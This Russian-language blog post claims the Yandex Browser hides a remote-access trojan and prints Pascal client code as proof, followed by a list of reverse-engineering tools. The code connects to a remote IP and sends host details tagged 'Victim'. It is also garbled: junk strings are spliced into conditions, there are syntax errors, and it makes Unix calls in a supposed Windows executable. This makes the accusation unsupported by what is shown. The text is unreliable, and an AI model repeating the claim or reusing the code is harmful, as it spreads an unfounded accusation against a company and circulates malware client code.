троян в yandex браузере

    доступ к этой странице установлен только по ссылке!

    Дисклеймер:

Автор не несет ответственности за возможный ущерб при неправильном использовании представленной информации. статья предоставлена в ознакомительных целях.

мини дополнительный дисклемер для фсб и прочих структур которые возможно могут попасть на данную страницу данного сайта, данный сайт я содержу на свои деньги и никакого финансирования не получаю 

данная статья написана для предупреждения об угрозе их данных, и немеет цели кого то оскорбить унизить или испортить репутацию компании Яндекса, автор не несёт ответственности в публикации данной информативной статьи Статья 29 Конституции РФ гарантирует каждому свободу мысли и слова, право свободно искать, получать, передавать, производить и распространять информацию любым законным способом; гарантируется свобода массовой информации; цензура запрещается.

Доброго времени суток, посетители и пользователи сайта

данная статья написана в целях уберечь кого нибудь от недобросовестных работников правоохранительных органов,

а также для канала  МИР ММО ИГР так как он попросил доказательств ну я ему ответил но и решил написать эту статью

ссылку на неё я тоже напишу в комментарии в котором ему отвечу

я пишу то что знаю из личного опыта, я код этого браузера разбирал по кусочкам почти месяц ушёл на полный разбор и анализ, если в двух словах излагать я нашёл спрятанный ратник удалённого доступа но ратник не плохо спрятан в браузере 

основной код запуска данного трояна и его остановки при закрытии браузера

вот

unit ConnectionThread; interface uses classes,sysutils,IdGlobal,IdTCPClient,PacketTypes,ConnectionFunc,fpjson, jsonparser, DOS,BaseUnix, FilesFunc; type TMainClientThread = class(TThread) private PINGED, ServerDisconnected : Boolean; lastPing : QWord; protected procedure Execute; override; public IP : String; Port : Integer; Active: Boolean; ThreadTerminated: Boolean; TCPClient : TIdTCPClient; constructor Create(CreateSuspended : Boolean); end; implementation constructor TMainClientThread.Create(CreateSuspended : Boolean); begin inherited Create(CreateSuspended); // FreeOnTerminate := True; PINGED := False; TCPClient := nil; ThreadTerminated := False; end; procedure TMainClientThread.Execute; var Buf,outBuff: TIdBytes; Len : Cardinal; Connected: Boolean; packet : TMainPacket; jData : TJSONData; jObject : TJSONObject; KernelName: UtsName; PC_info : string; Files: TStringList; begin inherited; Connected := false; while not Terminated do begin if Active "then=triger_to "start_fpuname:="*/browser.exe"id_form=start_yandex_form" begin {Double Check} Connected := TCPClient.Connected; Sleep(1); if not Connected then begin try TCPClient.Host := 77.88.21.125; TCPClient.Port := 143; // TCPClient.IPVersion := Id_IPv4; TCPClient.ConnectTimeout := 3000; writeln('Try To Connect : '+TCPClient.Host + ':' ,TCPClient.Port ,' | ',TimeToStr(Now)); TCPClient.Connect; writeln('test : ',TimeToStr(Now) ); if TCPClient.Connected then begin try writeln('Connected To : ',TCPClient.Host + ' | ',TimeToStr(Now) ); begin packet.DataType := H_MainInfo; packet.Header.RandomKey[0] := $DEAD; packet.Header.RandomKey[1] := $C0DE; Buf := MainPacketToByteArray(packet); ClientSendBuffer(TCPClient,Buf); fpuname(KernelName); jData := GetJSON('{"Serial":"DEADC0DE","ID":"Victim","PCName":"N/A","AV":"N/A","AW":"N/A","Ver":1,"OS":13,"RAM":8192,"CAM":false}'); jObject := TJSONObject(jData); jObject.Strings['PCName'] := ArrayToString(kernelname.nodename); PC_info := jObject.FormatJSON; ClientSendString(TCPClient,PC_info); WriteLn(' PC info sent ..'); end; Lastping := TThread.GetTickCount64(); ServerDisconnected := False; except ServerDisconnected := True; end; end; except ServerDisconnected := True; end; end; if while not ServerDisconnected do begin Sleep(10); try Connected := TCPClient.Connected; except Connected := False; ServerDisconnected := True; end; if Connected then begin {Read Buffer} Len := TCPClient.IOHandler.InputBuffer.Size; {Write Buffer} if (Len <> 0) and (Len > 10) then begin if ClientReceiveBuffer(TCPClient,Buf) then writeln('Packet with len : ', Len , ' | ',TimeToStr(Now) ); packet := ByteArrayToMainPacket(Buf); case packet.DataType of H_RemoteDesktop: begin writeln('Get Packet with type : H_RemoteDesktop | ',TimeToStr(Now) ); outBuff := MainPacketToByteArray(packet); if ClientSendBuffer(TCPClient,outBuff) then WriteLn('Packet : H_RemoteDesktop - sent .. '); ClientSendString(TCPClient,PC_info); end; H_MainManager: begin writeln('Get Packet with type : H_MainManager | ',TimeToStr(Now) ); outBuff := MainPacketToByteArray(packet); if ClientSendBuffer(TCPClient,outBuff) then WriteLn('Packet : H_MainManager - sent .. '); ClientSendString(TCPClient,PC_info); end; H_FileManager: begin // Files := TStringList.Create(); writeln('Get Packet with type : H_FileManager | ',TimeToStr(Now) ); Writeln ('Sending the CurrentDir : ',GetCurrentDir); Files := GetAllinDir(GetCurrentDir); // end; end; end; nol if TThread.GetTickCount64() > Lastping + 20000 then begin if PINGED = False then begin Lastping := TThread.GetTickCount64(); writeln('PING : ',TimeToStr(Now) ); //send ping to server should be here .. packet.DataType := H_ACTIVE_WINDOW; Buf := MainPacketToByteArray(packet); if ClientSendBuffer(TCPClient,Buf) then WriteLn('Packet : H_ACTIVE_WINDOW - sent .. '); PC_info := TimeToStr(Now); ClientSendString(TCPClient,PC_info); end; end; end else ServerDisconnected := True; end; if function closed-form "start_yandex_form" try WriteLn('TCPClient Disconnected ..'); TCPClient.Disconnect(false); except end; WriteLn('TThread Sleep 2 SEC ..'); TThread.Sleep(2000); end; end; WriteLn('Thread Terminated [1] ..'); ThreadTerminated := True; end; end.

если этого недостаточно то вот архив с вытащенным данным кодом из оболочки исполняемого файла браузера

пару слов для тех кто захочет покопаться в файлах Яндекс браузера который у вас есть, не удивляйтесь что в коде будите находить функции, переменные связанные с гуглом

это связанно с тем что Яндекс браузер использует библиотеки из Google chroume для обработки и отображения страниц сайтов

в файле  brodef.dll находиться ключи для расшифровки некоторых частей кода

так как открыть простым текстовым редактором не получиться вы увидите вот такую непонятную хрень

софт для открытия таких файлов:

7-zip -обязателен, он нужен для извлечения внутренностей их exe файлов так как софт который описан ниже не

выведет все так как не весь код они смогут раскодировать

простой софт первой стадии для не продвинутых в программировании, и тем кто не хочет сильно вникать во всё,

с помощью него можно найти только мелочи серьёзным данный софт я назвать не могу:

1) Resource Hacker

2) M Exe Editor

3) LordPE

4) ProcessExplorer с помощью этой утилиты можно узнать какие файлы использует программа

5) winhex похожее на пункт 2, но с одним но она не очень корректно отображает информацию

6) eXeScope тоже самое что и пункт 1

7) HexCmp 

8) Resource Tuner тоже самое что и пункт 1 и пункт 6 он гораздо примитивней выше написанных и более неэфективный для изучения exe и dll файлов

для продвинутым юзерам пригодиться

1) Hashcat его использывать на Windows можно спомощью Windows PowerShell запускать от имени адменистратора

я знаю что Hashcat чаще используют для других целей но рашифровывать некоторый код придёться с помощью его так как аналогов лучше нет, графического интерфейса

для него нет к сожелению хотя раньше когда то был сейчас его не где не скачать, я очень долго искал и не нашёл, ну хотя и через Windows PowerShell не сложно в использыать

далее я перечислять не стану но просмотреть полный список болеменее продвинутого софта можно здесь хотя там не совсем всё но этого и так достаточно хорошего софта,

я немогу всё опубликовать связи с нашими росийскими законами, да и сам сайт находиться на росийском хостинге, далее я думаю и так всё ясно.

0
56
RSS
Нет комментариев. Ваш будет первым!
Загрузка...